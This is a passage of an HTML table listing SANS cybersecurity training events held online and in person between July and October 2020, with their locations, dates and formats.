<th>Location</th>
<th>Date Range</th>
<th>Conference</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Summer of Cyber</td>
<td>NC</td>
<td>Jul 27, 2020 - Aug 01, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Europe Pen Test Special 2020</td>
<td>United Arab Emirates</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>South by Southeast Asia Online 2020</td>
<td>Singapore</td>
<td>Aug 03, 2020 - Aug 14, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SEC560 @ JPL NASA</td>
<td></td>
<td>Aug 03, 2020 - Aug 10, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>MA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>CA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>VA</td>
<td>Aug 10, 2020 - Aug 15, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Reboot - NOVA 2020 - Live Online</td>
<td>Arlington, VA</td>
<td>Aug 10, 2020 - Aug 15, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Essentials Live Online 2020</td>
<td>Australia</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>DC</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>IL</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Cyber Defence APAC Live Online 2020</td>
<td>Singapore</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Summer Hack Europe 2020</td>
<td>United Arab Emirates</td>
<td>Aug 17, 2020 - Aug 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Japan Bi-Lingual Live Online</td>
<td>Japan</td>
<td>Aug 31, 2020 - Sep 05, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Philippines 2020</td>
<td>Manila, Philippines</td>
<td>Sep 07, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London September 2020 - Live Online</td>
<td>London, United Kingdom</td>
<td>Sep 07, 2020 - Sep 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London September 2020</td>
<td>London, United Kingdom</td>
<td>Sep 07, 2020 - Sep 12, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020 - Live Online</td>
<td>Baltimore, MD</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Munich September 2020 - Live Online</td>
<td>Munich, Germany</td>
<td>Sep 14, 2020 - Sep 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Munich September 2020</td>
<td>Munich, Germany</td>
<td>Sep 14, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Network Security 2020 - Live Online</td>
<td>Las Vegas, NV</td>
<td>Sep 20, 2020 - Sep 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Australia Spring 2020</td>
<td>Australia</td>
<td>Sep 21, 2020 - Oct 03, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Australia Spring 2020 - Live Online</td>
<td>Australia</td>
<td>Sep 21, 2020 - Oct 03, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Northern VA - Reston Fall 2020</td>
<td>Reston, VA</td>
<td>Sep 28, 2020 - Oct 03, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Antonio Fall 2020</td>
<td>San Antonio, TX</td>
<td>Sep 28, 2020 - Oct 03, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Northern VA - Reston Fall 2020 - Live Online</td>
<td>Reston, VA</td>
<td>Sep 28, 2020 - Oct 03, 2020</td>
<td>CyberCon</td>
</tr>
</tbody>
</table>